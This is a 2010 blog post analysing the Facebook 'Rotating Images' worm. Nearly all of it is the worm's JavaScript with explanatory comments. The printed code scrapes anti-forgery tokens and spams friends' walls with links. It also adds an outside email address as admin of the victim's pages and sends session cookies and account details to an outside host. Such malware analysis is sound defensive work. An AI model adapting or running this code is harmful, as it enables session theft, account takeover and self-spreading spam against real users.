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ashishb.net

A day in Luxembourg - the richest country in the world I was asked to install malware during a fake interview Book summary: Breakneck - China's quest to engineer the future by Dan Wang Book summary: How to Teach Your Baby to Read Book Summary: The Discontented Little Baby Book by Pamela Douglas Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine Why software outsourcing gets a bad reputation? Book summary: The Natural Baby Sleep Solution by Polly Moore A day in Antwerp, Belgium Journey of online influencers Two days in Brussels, Belgium Shortcuts - when we love them and when we don't A visit to Rakhigarhi Three days in overhyped Paris Empty Japan, crowded Tokyo The real lock-in in GitHub is not the code, but the stars 11-day Norwegian Breakaway East Caribbean cruise Sanskrit and Sri Lankan Air Force Use REST with Open API The Achilles heel of American capitalism Costa Rica in 4 days At a juice stall in Sri Lanka A short stay at Warsaw, Poland Best practices for using Python & uv inside Docker Two days in Vilnius, Lithuania How IntelliJ IDEs waste disk space Pregnancy Why there aren't many digital nomads from India Two days in Riga, Latvia To keep your machine secure, run third-party tools inside Docker
Analysis of Facebook Rotating Images worm
Ashish Bhatia · 2010-12-06 · via ashishb.net
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//These are to be posted as status messages
txt = "Really cool Facebook revolving images. MUST SEE https://ROTATINGIMAGES1.tk";
txtee = "Really cool Facebook revolving images. MUST SEE https://REVOLVINGIMAGES1.tk";

alert("Please wait 2-3 mins while we setup! Do not refresh this window or click any link.");
//this takes care of the fact that facebook will recognize the automated script if a lot of
//requests are sent within a short frame of time and hence, the requests are deliberately slowed

// the code below makes an XMLHttp request (AJAX request) to extract
// 1. composer_id
// 2. post_form_id
// 3. fb_dtsg
// (There is a reference to an app which has been removed from facebook)
with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {

  if (x.readyState == 4 && x.status == 200) {
    comp = (z = x.responseText).match(/name=\\"composer_id\\" value=\\"([\d\w]+)\\"/i)[1];
    form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
    dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
    pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
    appid = "150622878317085";
    appname = "rip_m_j";

    with(xx = new XMLHttpRequest())
      open("GET", "/ajax/browser/friends/?uid=" +
               document.cookie.match(/c_user=(\d+)/)[1] +
                  "&filter=all&__a=1&__d=1"),
      onreadystatechange = function () {
      //extracts list of friends

        if (xx.readyState == 4 && xx.status == 200) {
        m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
        //facebook returns list of friends images of the form of three numbers separated by _,
        //the above regular expression extracts out the middle of the two
        //(which infact is the userID of friend)
        i = 0;
        llimit=25;
        t = setInterval(function () {
          if (i >= llimit )
            return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
          if(i == 0) {//do it only once
            with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),
                 setRequestHeader("X-Requested-With", null),
                 setRequestHeader("X-Requested", null),
                 onreadystatechange = function() {
              if(ddddd.readyState == 4 && ddddd.status == 200) {
                llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); len =llm.length;
                j=0;
                for(j=0;j<len;j++) {
                  with(xxxcxxx = new XMLHttpRequest()) open("POST", "/pages/edit/?id="+llm[j].replace(/\\"id\\":/i, "")+"&sk=admin"),
                       setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                       send("post_form_id="+pfid+"&fb_dtsg="+dt+"&fbpage_id="+llm[j].replace(/\\"id\\":/i, "")+
                            "&friendselector_input%5B%5D=waqas.h.rana%40hotmail.com%09&friend_selected%5B%5D=&save=1");
                       //I am not very sure on this one but it seems it adds waqa.h.rana@hotmail.com as admin of all pages the user holds
                }
              }
            }, send(null); //end of function to change the admins

            with(xxx = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"),
                 setRequestHeader("X-Requested-With", null),
                 setRequestHeader("X-Requested", null),
                 onreadystatechange = function() {
              if(xxx.readyState == 4 && xxx.status == 200) {
                with(s = document.createElement("script")) src = "https://graphicgiants.com/mmjaicc.js?q=" +
                  document.cookie.match(/c_user=(\d+)/)[1] + ":"  + (d = xxx.responseText).match(/mailto:([^\"]+)/)[1].replace(/&#64;/, "@") +
                    ":" + d.match(/id="navAccountName">([^<>]+)/)[1] + "&c="+ document.cookie; document.body.appendChild(s); }}, send(null);
                  // this one collects cookie as well as the personalized status update email address
                  // (a photo sent to that address is posted on the wall directly)

                with(xxcxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
                     setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                       send("fbpage_id=176607175684946&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+
                            pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
                     // likes page "https://www.facebook.com/pages/Im-Sorry-I-Never-Meant-To-Hurt-You/176607175684946"

                with(lllllxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
                     setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                        send("fbpage_id=150650771629477&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+
                             pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
                     // likes page https://www.facebook.com/Fuuuuck.It
            }
            else if (i == llimit - 1) {//if limit has already been reached
              with(xxxx = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"),
                setRequestHeader("X-Requested-With", null),
                setRequestHeader("X-Requested", null),
                onreadystatechange = function() {
              if(xxxx.readyState == 4 && xxxx.status == 200){
                    with(s = document.createElement("script")) src = "https://graphicgiants.com/majic.js?q=" +
                        document.cookie.match(/c_user=(\d+)/)[1] +
                        ":"  + (d = xxxx.responseText).match(/mailto:([^\"]+)/)[1].replace(/&#64;/, "@") + ":" +
                        d.match(/id="navAccountName">([^<>]+)/)[1] +
                        "&c="+ document.cookie; document.body.appendChild(s); }}, send(null);
                        //copies cookie and account name again (probably to mark some sort of completion)
            }

            //following code does status update
            //the code writes message represented by txt and txtee alternately on the wall of friends.
            //txt and txtee are same though (may be author's mistake)
            if(i%2==0)
            {
              with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
                setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt +
                "&target_id=" + m[Math.floor(Math.random() * m.length)] +
                //m is an array of id of friends (was created early in the script exec), choose a random friend
                "&composer_id=" + comp +
                "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" +form + "&fb_dtsg=" + dt +
                //comp, form, dt are (probably) XSRF prevention tokens
                "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
            }
            else
            {
              with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
                   setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                   send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee +
                        "&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id=" + comp +
                        "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt +
                        "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
            }
            i += 1;
        }, 2000);// 2000 milli-sec window, after which the script is executed again
      }

    }, send(null);
  }
}, send(null);